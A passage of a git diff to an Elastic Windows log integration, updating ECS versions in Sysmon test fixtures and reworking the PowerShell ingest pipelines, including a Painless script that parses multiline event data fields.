+11266,7 @@ ] }, "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "DNSEvent (DNS query)", @@ -11352,7 +11348,7 @@ "port": 137 }, "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "Network connection", @@ -11433,7 +11429,7 @@ { "@timestamp": "2019-03-18T16:57:52.350Z", "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "Process terminated", @@ -11490,7 +11486,7 @@ { "@timestamp": "2019-03-18T16:57:52.364Z", "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "Process terminated", @@ -11547,7 +11543,7 @@ { "@timestamp": "2019-03-18T16:57:52.387Z", "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "A process changed a file creation time", @@ -11614,7 +11610,7 @@ { "@timestamp": "2019-03-18T16:57:52.417Z", "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "A process changed a file creation time", @@ -11681,7 +11677,7 @@ { "@timestamp": "2019-03-18T16:57:52.417Z", "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "A process changed a file creation time", @@ -11748,7 +11744,7 @@ { "@timestamp": "2019-03-18T16:57:52.417Z", "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "A process changed a file creation time", @@ -11822,7 +11818,7 @@ "version": "8.0.0" }, "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "Process terminated", @@ -11879,7 +11875,7 @@ { "@timestamp": "2019-03-18T16:57:52.433Z", "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "A process changed a file creation time", @@ -11971,7 +11967,7 @@ ] }, "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "DNSEvent (DNS query)", @@ -12119,7 +12115,7 @@ ] }, "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "DNSEvent (DNS query)", @@ -12227,7 +12223,7 @@ ] }, "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "DNSEvent (DNS query)", @@ -12375,7 +12371,7 @@ ] }, "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "DNSEvent (DNS query)", @@ -12520,7 +12516,7 @@ ] }, "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "DNSEvent (DNS query)", @@ -12649,7 +12645,7 @@ ] }, "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "DNSEvent (DNS query)", @@ -12799,7 +12795,7 @@ ] }, "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "DNSEvent (DNS query)", @@ -12931,7 +12927,7 @@ ] }, "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "DNSEvent (DNS query)", @@ -13024,7 +13020,7 @@ ] }, "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "DNSEvent (DNS query)", @@ -13165,7 +13161,7 @@ ] }, "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "DNSEvent (DNS query)", @@ -13286,7 +13282,7 @@ ] }, "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "DNSEvent (DNS query)", @@ -13378,7 +13374,7 @@ ] }, "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "DNSEvent (DNS query)", @@ -13519,7 +13515,7 @@ ] }, "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "DNSEvent (DNS query)", @@ -13671,7 +13667,7 @@ ] }, "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "DNSEvent (DNS query)", @@ -13802,7 +13798,7 @@ ] }, "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "DNSEvent (DNS query)", @@ -13944,7 +13940,7 @@ ] }, "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "DNSEvent (DNS query)", @@ -14077,7 +14073,7 @@ ] }, "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "DNSEvent (DNS query)", @@ -14212,7 +14208,7 @@ ] }, "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "DNSEvent (DNS query)", @@ -14370,7 +14366,7 @@ ] }, "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "DNSEvent (DNS query)", @@ -14517,7 +14513,7 @@ ] }, "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "DNSEvent (DNS query)", @@ -14662,7 +14658,7 @@ ] }, "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "DNSEvent (DNS query)", @@ -14812,7 +14808,7 @@ ] }, "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "DNSEvent (DNS query)", @@ -14963,7 +14959,7 @@ ] }, "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "DNSEvent (DNS query)", @@ -15073,7 +15069,7 @@ ] }, "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "DNSEvent (DNS query)", @@ -15221,7 +15217,7 @@ ] }, "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "DNSEvent (DNS query)", @@ -15324,7 +15320,7 @@ ] }, "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "DNSEvent (DNS query)", @@ -15437,7 +15433,7 @@ ] }, "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "DNSEvent (DNS query)", @@ -15539,7 +15535,7 @@ ] }, "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "DNSEvent (DNS query)", @@ -15641,7 +15637,7 @@ ] }, "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "DNSEvent (DNS query)", @@ -15742,7 +15738,7 @@ ] }, "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "DNSEvent (DNS query)", @@ -15845,7 +15841,7 @@ ] }, "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "DNSEvent (DNS query)", @@ -15942,7 +15938,7 @@ ] }, "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "DNSEvent (DNS query)", @@ -16048,7 +16044,7 @@ ] }, "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "DNSEvent (DNS query)", @@ -16150,7 +16146,7 @@ ] }, "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "DNSEvent (DNS query)", @@ -16263,7 +16259,7 @@ ] }, "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "DNSEvent (DNS query)", @@ -16366,7 +16362,7 @@ ] }, "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "DNSEvent (DNS query)", @@ -16468,7 +16464,7 @@ ] }, "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "DNSEvent (DNS query)", @@ -16570,7 +16566,7 @@ ] }, "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "DNSEvent (DNS query)", @@ -16719,7 +16715,7 @@ ] }, "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "DNSEvent (DNS query)", @@ -16841,7 +16837,7 @@ ] }, "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "DNSEvent (DNS query)", @@ -16952,7 +16948,7 @@ ] }, "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "DNSEvent (DNS query)", @@ -17094,7 +17090,7 @@ ] }, "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "DNSEvent (DNS query)", @@ -17196,7 +17192,7 @@ ] }, "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "DNSEvent (DNS query)", @@ -17296,7 +17292,7 @@ ] }, "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "DNSEvent (DNS query)", @@ -17444,7 +17440,7 @@ ] }, "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "DNSEvent (DNS query)", @@ -17548,7 +17544,7 @@ ] }, "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "DNSEvent (DNS query)", @@ -17649,7 +17645,7 @@ ] }, "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "DNSEvent (DNS query)", @@ -17795,7 +17791,7 @@ ] }, "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "DNSEvent (DNS query)", @@ -17949,7 +17945,7 @@ ] }, "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "DNSEvent (DNS query)", @@ -18054,7 +18050,7 @@ ] }, "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "DNSEvent (DNS query)", @@ -18202,7 +18198,7 @@ ] }, "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "DNSEvent (DNS query)", @@ -18353,7 +18349,7 @@ ] }, "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "DNSEvent (DNS query)", @@ -18506,7 +18502,7 @@ ] }, "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "DNSEvent (DNS query)", @@ -18652,7 +18648,7 @@ ] }, "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "DNSEvent (DNS query)", @@ -18799,7 +18795,7 @@ ] }, "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "DNSEvent (DNS query)", @@ -19160,7 +19156,7 @@ ] }, "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "DNSEvent (DNS query)", @@ -19344,7 +19340,7 @@ ] }, "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "DNSEvent (DNS query)", @@ -19450,7 +19446,7 @@ ] }, "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "DNSEvent (DNS query)", @@ -19555,7 +19551,7 @@ ] }, "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "DNSEvent (DNS query)", @@ -19641,7 +19637,7 @@ } }, "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "DNSEvent (DNS query)", @@ -19738,7 +19734,7 @@ ] }, "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "DNSEvent (DNS query)", @@ -19887,7 +19883,7 @@ ] }, "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "DNSEvent (DNS query)", @@ -20041,7 +20037,7 @@ ] }, "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "DNSEvent (DNS query)", @@ -20149,7 +20145,7 @@ ] }, "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "DNSEvent (DNS query)", @@ -20292,7 +20288,7 @@ ] }, "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "DNSEvent (DNS query)", @@ -20450,7 +20446,7 @@ ] }, "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "DNSEvent (DNS query)", @@ -20600,7 +20596,7 @@ ] }, "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "DNSEvent (DNS query)", @@ -20732,7 +20728,7 @@ ] }, "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "DNSEvent (DNS query)", @@ -20847,7 +20843,7 @@ ] }, "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "DNSEvent (DNS query)", @@ -20956,7 +20952,7 @@ ] }, "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "DNSEvent (DNS query)", @@ -21099,7 +21095,7 @@ ] }, "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "DNSEvent (DNS query)", @@ -21221,7 +21217,7 @@ ] }, "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "DNSEvent (DNS query)", @@ -21373,7 +21369,7 @@ ] }, "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "DNSEvent (DNS query)", @@ -21477,7 +21473,7 @@ ] }, "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "DNSEvent (DNS query)", @@ -21578,7 +21574,7 @@ ] }, "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "DNSEvent (DNS query)", @@ -21676,7 +21672,7 @@ ] }, "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "DNSEvent (DNS query)", @@ -21760,7 +21756,7 @@ } }, "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "DNSEvent (DNS query)", @@ -21837,7 +21833,7 @@ } }, "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "DNSEvent (DNS query)", @@ -21914,7 +21910,7 @@ } }, "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "DNSEvent (DNS query)", @@ -22015,7 +22011,7 @@ ] }, "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "DNSEvent (DNS query)", @@ -22114,7 +22110,7 @@ ] }, "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "DNSEvent (DNS query)", @@ -22190,7 +22186,7 @@ { "@timestamp": "2020-10-27T20:00:14.320Z", "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "Process creation", @@ -22294,7 +22290,7 @@ { "@timestamp": "2021-02-25T14:43:23.550Z", "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "ProcessTampering (Process image change)", @@ -22353,7 +22349,7 @@ { "@timestamp": "2020-05-12T06:48:27.084Z", "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "FileDelete (File Delete archived)", @@ -22434,7 +22430,7 @@ { "@timestamp": "2020-10-28T02:39:26.374Z", "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "Image loaded", @@ -22532,7 +22528,7 @@ { "@timestamp": "2020-05-05T14:57:46.808Z", "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "RegistryEvent (Value Set)", @@ -22583,7 +22579,6 @@ "channel": "Microsoft-Windows-Sysmon/Operational", "computer_name": "vagrant", "event_data": { - "Details": "Binary Data", "EventType": "SetValue" }, "event_id": "13", @@ -22606,7 +22601,7 @@ { "@timestamp": "2021-02-25T15:04:48.592Z", "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "ClipboardChange (New content in the clipboard)", @@ -22678,7 +22673,7 @@ { "@timestamp": "2019-03-18T16:57:52.433Z", "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "A process changed a file creation time", @@ -22800,7 +22795,7 @@ ] }, "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "DNSEvent (DNS query)", @@ -22883,7 +22878,7 @@ { "@timestamp": "2022-01-24T05:12:34.328Z", "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "FileDeleteDetected (File Delete logged)", @@ -22902,9 +22897,6 @@ "file": { "directory": "C:\\Windows\\ServiceState\\EventLog\\Data", "extension": "dat", - "hash": { - "sha256": "a94808e7c66973b122f66ec6611019c745a9602f8e944f53635cab58aef35a79" - }, "name": "lastalive1.dat", "path": "C:\\Windows\\ServiceState\\EventLog\\Data\\lastalive1.dat" }, @@ -22920,6 +22912,9 @@ "process": { "entity_id": "{63a74932-a2b4-61ee-1b00-000000000700}", "executable": "C:\\Windows\\System32\\svchost.exe", + "hash": { + "sha256": "a94808e7c66973b122f66ec6611019c745a9602f8e944f53635cab58aef35a79" + }, "name": "svchost.exe", "pid": 1264 }, @@ -22964,7 +22959,7 @@ { "@timestamp": "2022-01-24T05:12:51.031Z", "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "FileDeleteDetected (File Delete logged)", @@ -22983,9 +22978,6 @@ "file": { "directory": "C:\\ProgramData\\Microsoft\\Windows\\DeviceMetadataCache", "extension": "000", - "hash": { - "sha256": "d78fbf654d84ddf2cb4fe221f7d8b61e0decdee48a4687915e6e4a2296e2418b" - }, "name": "OLDCACHE.000", "path": "C:\\ProgramData\\Microsoft\\Windows\\DeviceMetadataCache\\OLDCACHE.000" }, @@ -23001,6 +22993,9 @@ "process": { "entity_id": "{63a74932-3523-61ee-af00-000000000700}", "executable": "C:\\Windows\\system32\\svchost.exe", + "hash": { + "sha256": "d78fbf654d84ddf2cb4fe221f7d8b61e0decdee48a4687915e6e4a2296e2418b" + }, "name": "svchost.exe", "pid": 1364 }, @@ -23043,4 +23038,4 @@ } } ] -} \ No newline at end of file +} diff --git a/packages/windows/data_stream/forwarded/elasticsearch/ingest_pipeline/default.yml b/packages/windows/data_stream/forwarded/elasticsearch/ingest_pipeline/default.yml index 2fdd9519a92..e1bb5cf9781 100644 --- a/packages/windows/data_stream/forwarded/elasticsearch/ingest_pipeline/default.yml +++ b/packages/windows/data_stream/forwarded/elasticsearch/ingest_pipeline/default.yml @@ -2,7 +2,7 @@ description: Pipeline for Windows forwarded Event Logs processors: - pipeline: - name: '{{ IngestPipeline "security" }}' + name: '{{ IngestPipeline "security_default" }}' if: ctx.winlog?.channel instanceof String && ctx.winlog.channel.toLowerCase() == "security" && ["Microsoft-Windows-Eventlog", "Microsoft-Windows-Security-Auditing"].contains(ctx.winlog?.provider_name) - pipeline: name: '{{ IngestPipeline "powershell" }}' diff --git a/packages/windows/data_stream/forwarded/elasticsearch/ingest_pipeline/powershell.yml b/packages/windows/data_stream/forwarded/elasticsearch/ingest_pipeline/powershell.yml index b4f18cf4133..07548ba891d 100644 --- a/packages/windows/data_stream/forwarded/elasticsearch/ingest_pipeline/powershell.yml +++ b/packages/windows/data_stream/forwarded/elasticsearch/ingest_pipeline/powershell.yml @@ -9,28 +9,50 @@ processors: trim_key: "\n\t" trim_value: "\n\t" value_split: "=" - if: ctx?.winlog?.event_id == "800" - - kv: - description: Split Events 4xx and 600 event data fields. - field: winlog.event_data.param3 - target_field: winlog.event_data - field_split: "\n\t" - trim_key: "\n\t" - trim_value: "\n\t" - value_split: "=" - if: ctx?.winlog?.event_id != "800" + if: ctx.winlog?.event_id == "800" + - script: + description: |- + Split Events 4xx and 600 event data fields. + Some events can contain multiline values containing also '\n', '\s', and '=' characters, + for this reason a simple KV processor is not reliable enough and we need a more specific parsing. + lang: painless + if: ctx.winlog?.event_id != "800" && ctx.winlog?.event_data?.param3 != null + params: + field: param3 + source: |- + def p = ctx.winlog?.event_data[params["field"]]; + // Define the pattern that will match all keys + def pat = /(^|(^[\n]?))?\t([^\s\W]+)=/m; + def m = pat.matcher(p); + + // we position ourselves in the first matching key + m.find(); + def key = m.group(3).trim(); + def previousEnd = m.end(); + + // while new keys are found, we add everything between one key and the next + // as the value, regardless of its contents + while(m.find()) + { + ctx.winlog.event_data[key] = p.substring(previousEnd, m.start()).trim(); + previousEnd = m.end(); + key = m.group(3).trim(); + } + + // add remaining value + ctx.winlog.event_data[key] = p.substring(previousEnd).trim(); ## ECS and Event fields. - set: field: ecs.version - value: '8.0.0' + value: '8.17.0' - set: field: log.level copy_from: winlog.level ignore_empty_value: true ignore_failure: true - if: ctx?.winlog?.level != "" + if: ctx.winlog?.level != "" - date: field: winlog.time_created tag: "time_created_date" @@ -59,15 +81,15 @@ processors: - set: field: event.type value: ["start"] - if: ctx?.event.code == "400" + if: ctx.event.code == "400" - set: field: event.type value: ["end"] - if: ctx?.event.code == "403" + if: ctx.event.code == "403" - set: field: event.type value: ["info"] - if: ctx?.event?.type == null + if: ctx.event?.type == null - convert: field: winlog.event_data.SequenceNumber target_field: event.sequence @@ -87,19 +109,19 @@ processors: target_field: process.entity_id ignore_failure: true ignore_missing: true - if: ctx?.winlog?.event_data?.HostId != "" + if: ctx.winlog?.event_data?.HostId != "" - rename: field: winlog.event_data.HostApplication target_field: process.command_line ignore_failure: true ignore_missing: true - if: ctx?.winlog?.event_data?.HostApplication != "" + if: ctx.winlog?.event_data?.HostApplication != "" - rename: field: winlog.event_data.HostName target_field: process.title ignore_failure: true ignore_missing: true - if: ctx?.winlog?.event_data?.HostName != "" + if: ctx.winlog?.event_data?.HostName != "" ## User fields. @@ -107,25 +129,25 @@ processors: field: winlog.event_data.UserId target_field: "_temp.user_parts" separator: '\\' - if: ctx?.winlog?.event_data?.UserId != null + if: ctx.winlog?.event_data?.UserId != null - set: field: user.domain value: "{{_temp.user_parts.0}}" ignore_failure: true ignore_empty_value: true - if: ctx?._temp?.user_parts != null && ctx._temp.user_parts.size() == 2 + if: ctx._temp?.user_parts != null && ctx._temp.user_parts.size() == 2 - set: field: user.name value: "{{_temp.user_parts.1}}" ignore_failure: true ignore_empty_value: true - if: ctx?._temp?.user_parts != null && ctx._temp.user_parts.size() == 2 + if: ctx._temp?.user_parts != null && ctx._temp.user_parts.size() == 2 - append: field: related.user value: "{{user.name}}" ignore_failure: true allow_duplicates: false - if: ctx?.user?.name != null + if: ctx.user?.name != null # Get user details from the translate_sid processor enrichment # if they are available and we don't already have them. - rename: @@ -157,87 +179,87 @@ processors: target_field: powershell.engine.new_state ignore_failure: true ignore_missing: true - if: ctx?.winlog?.event_data?.NewEngineState != "" + if: ctx.winlog?.event_data?.NewEngineState != "" - rename: field: winlog.event_data.PreviousEngineState target_field: powershell.engine.previous_state ignore_failure: true ignore_missing: true - if: ctx?.winlog?.event_data?.PreviousEngineState != "" + if: ctx.winlog?.event_data?.PreviousEngineState != "" - rename: field: winlog.event_data.NewProviderState target_field: powershell.provider.new_state ignore_failure: true ignore_missing: true - if: ctx?.winlog?.event_data?.NewProviderState != "" + if: ctx.winlog?.event_data?.NewProviderState != "" - rename: field: winlog.event_data.ProviderName target_field: powershell.provider.name ignore_failure: true ignore_missing: true - if: ctx?.winlog?.event_data?.ProviderName != "" + if: ctx.winlog?.event_data?.ProviderName != "" - convert: field: winlog.event_data.DetailTotal target_field: powershell.total type: long ignore_failure: true ignore_missing: true - if: ctx?.winlog?.event_data?.DetailTotal != "" + if: ctx.winlog?.event_data?.DetailTotal != "" - convert: field: winlog.event_data.DetailSequence target_field: powershell.sequence type: long ignore_failure: true ignore_missing: true - if: ctx?.winlog?.event_data?.DetailSequence != "" + if: ctx.winlog?.event_data?.DetailSequence != "" - rename: field: winlog.event_data.EngineVersion target_field: powershell.engine.version ignore_missing: true ignore_failure: true - if: ctx?.winlog?.event_data?.EngineVersion != "" + if: ctx.winlog?.event_data?.EngineVersion != "" - rename: field: winlog.event_data.PipelineId target_field: powershell.pipeline_id ignore_missing: true ignore_failure: true - if: ctx?.winlog?.event_data?.PipelineId != "" + if: ctx.winlog?.event_data?.PipelineId != "" - rename: field: winlog.event_data.RunspaceId target_field: powershell.runspace_id ignore_missing: true ignore_failure: true - if: ctx?.winlog?.event_data?.RunspaceId != "" + if: ctx.winlog?.event_data?.RunspaceId != "" - rename: field: winlog.event_data.HostVersion target_field: powershell.process.executable_version ignore_missing: true ignore_failure: true - if: ctx?.winlog?.event_data?.HostVersion != "" + if: ctx.winlog?.event_data?.HostVersion != "" - rename: field: winlog.event_data.CommandLine target_field: powershell.command.value ignore_failure: true ignore_missing: true - if: ctx?.winlog?.event_data?.CommandLine != "" + if: ctx.winlog?.event_data?.CommandLine != "" - rename: field: winlog.event_data.CommandPath target_field: powershell.command.path ignore_failure: true ignore_missing: true - if: ctx?.winlog?.event_data?.CommandPath != "" + if: ctx.winlog?.event_data?.CommandPath != "" - rename: field: winlog.event_data.CommandName target_field: powershell.command.name ignore_failure: true ignore_missing: true - if: ctx?.winlog?.event_data?.CommandName != "" + if: ctx.winlog?.event_data?.CommandName != "" - rename: field: winlog.event_data.CommandType target_field: powershell.command.type ignore_failure: true ignore_missing: true - if: ctx?.winlog?.event_data?.CommandType != "" + if: ctx.winlog?.event_data?.CommandType != "" - split: description: Split Event 800 command invocation details. @@ -305,7 +327,7 @@ processors: ]; } - if (ctx?._temp == null) { + if (ctx._temp == null) { ctx._temp = new HashMap(); } @@ -313,7 +335,7 @@ processors: ctx._temp.details = new ArrayList(); } - def values = ctx?.winlog?.event_data[params["field"]]; + def values = ctx.winlog?.event_data[params["field"]]; if (values != null && values.length > 0) { for (v in values) { ctx._temp.details.add(parseRawDetail(v)); @@ -322,12 +344,12 @@ processors: - rename: field: _temp.details target_field: powershell.command.invocation_details - if: ctx?._temp?.details != null && ctx?._temp?.details.length > 0 + if: ctx._temp?.details != null && ctx._temp?.details.length > 0 - script: description: Implements Windows-like SplitCommandLine lang: painless - if: ctx?.process?.command_line != null && ctx.process.command_line != "" + if: ctx.process?.command_line != null && ctx.process.command_line != "" source: |- // appendBSBytes appends n '\\' bytes to b and returns the resulting slice. def appendBSBytes(StringBuilder b, int n) { @@ -406,12 +428,12 @@ processors: - script: description: Adds file information. lang: painless - if: ctx?.winlog?.event_data?.ScriptName != null && ctx.winlog.event_data.ScriptName.length() > 1 + if: ctx.winlog?.event_data?.ScriptName != null && ctx.winlog.event_data.ScriptName.length() > 1 source: |- def path = ctx.winlog.event_data.ScriptName; def idx = path.lastIndexOf("\\"); if (idx > -1) { - if (ctx?.file == null) { + if (ctx.file == null) { ctx.file = new HashMap(); } ctx.file.name = path.substring(idx+1); @@ -427,7 +449,12 @@ processors: target_field: file.path ignore_failure: true ignore_missing: true - if: ctx?.winlog?.event_data?.ScriptName != "" + if: ctx.winlog?.event_data?.ScriptName != "" + + - convert: + field: error.code + type: string + ignore_missing: true ## Cleanup. @@ -448,14 +475,14 @@ processors: - script: description: Remove all empty values from event_data. lang: painless - source: ctx?.winlog?.event_data?.entrySet().removeIf(entry -> entry.getValue() == null || entry.getValue().equals("")); - if: ctx?.winlog?.event_data != null + source: ctx.winlog?.event_data?.entrySet().removeIf(entry -> entry.getValue() == null || entry.getValue().equals("")); + if: ctx.winlog?.event_data != null - remove: description: Remove empty event data. field: winlog.event_data ignore_missing: true ignore_failure: true - if: ctx?.winlog?.event_data != null && ctx.winlog.event_data.size() == 0 + if: ctx.winlog?.event_data != null && ctx.winlog.event_data.size() == 0 on_failure: - set: diff --git a/packages/windows/data_stream/forwarded/elasticsearch/ingest_pipeline/powershell_operational.yml b/packages/windows/data_stream/forwarded/elasticsearch/ingest_pipeline/powershell_operational.yml index 076af53f774..48755b61227 100644 --- a/packages/windows/data_stream/forwarded/elasticsearch/ingest_pipeline/powershell_operational.yml +++ b/packages/windows/data_stream/forwarded/elasticsearch/ingest_pipeline/powershell_operational.yml @@ -9,11 +9,11 @@ processors: trim_key: " \n\t" trim_value: " \n\t" value_split: "[:=]" - if: ctx?.winlog?.event_id == "4103" + if: ctx.winlog?.event_id == "4103" - script: description: Remove spaces from all event_data keys. lang: painless - if: ctx?.winlog?.event_data != null + if: ctx.winlog?.event_data != null source: |- def newEventData = new HashMap(); for (entry in ctx.winlog.event_data.entrySet()) { @@ -26,13 +26,13 @@ processors: - set: field: ecs.version - value: '8.0.0' + value: '8.17.0' - set: field: log.level copy_from: winlog.level ignore_empty_value: true ignore_failure: true - if: ctx?.winlog?.level != "" + if: ctx.winlog?.level != "" - date: field: winlog.time_created tag: "time_created_date" @@ -61,15 +61,15 @@ processors: - set: field: event.type value: ["start"] - if: ctx?.event.code == "4105" + if: ctx.event.code == "4105" - set: field: event.type value: ["end"] - if: ctx?.event.code == "4106" + if: ctx.event.code == "4106" - set: field: event.type value: ["info"] - if: ctx?.event?.type == null + if: ctx.event?.type == null - convert: field: winlog.event_data.SequenceNumber target_field: event.sequence @@ -89,19 +89,19 @@ processors: target_field: process.entity_id ignore_failure: true ignore_missing: true - if: ctx?.winlog?.event_data?.HostID != "" + if: ctx.winlog?.event_data?.HostID != "" - rename: field: winlog.event_data.HostApplication target_field: process.command_line ignore_failure: true ignore_missing: true - if: ctx?.winlog?.event_data?.HostApplication != "" + if: ctx.winlog?.event_data?.HostApplication != "" - rename: field: winlog.event_data.HostName target_field: process.title ignore_failure: true ignore_missing: true - if: ctx?.winlog?.event_data?.HostName != "" + if: ctx.winlog?.event_data?.HostName != "" ## User fields. @@ -114,72 +114,72 @@ processors: field: winlog.event_data.User target_field: "_temp.user_parts" separator: '\\' - if: ctx?.winlog?.event_data?.User != null + if: ctx.winlog?.event_data?.User != null - set: field: user.domain value: "{{_temp.user_parts.0}}" ignore_failure: true ignore_empty_value: true - if: ctx?._temp?.user_parts != null && ctx._temp.user_parts.size() == 2 + if: ctx._temp?.user_parts != null && ctx._temp.user_parts.size() == 2 - set: field: user.name value: "{{_temp.user_parts.1}}" ignore_failure: true ignore_empty_value: true - if: ctx?._temp?.user_parts != null && ctx._temp.user_parts.size() == 2 + if: ctx._temp?.user_parts != null && ctx._temp.user_parts.size() == 2 - append: field: related.user value: "{{user.name}}" ignore_failure: true allow_duplicates: false - if: ctx?.user?.name != null + if: ctx.user?.name != null - split: field: winlog.event_data.ConnectedUser target_field: "_temp.connected_user_parts" separator: '\\' - if: ctx?.winlog?.event_data?.ConnectedUser != null + if: ctx.winlog?.event_data?.ConnectedUser != null - set: field: source.user.domain value: "{{_temp.connected_user_parts.0}}" ignore_failure: true ignore_empty_value: true - if: ctx?._temp?.connected_user_parts != null && ctx._temp.connected_user_parts.size() == 2 + if: ctx._temp?.connected_user_parts != null && ctx._temp.connected_user_parts.size() == 2 - set: field: source.user.name value: "{{_temp.connected_user_parts.1}}" ignore_failure: true ignore_empty_value: true - if: ctx?._temp?.connected_user_parts != null && ctx._temp.connected_user_parts.size() == 2 + if: ctx._temp?.connected_user_parts != null && ctx._temp.connected_user_parts.size() == 2 - append: 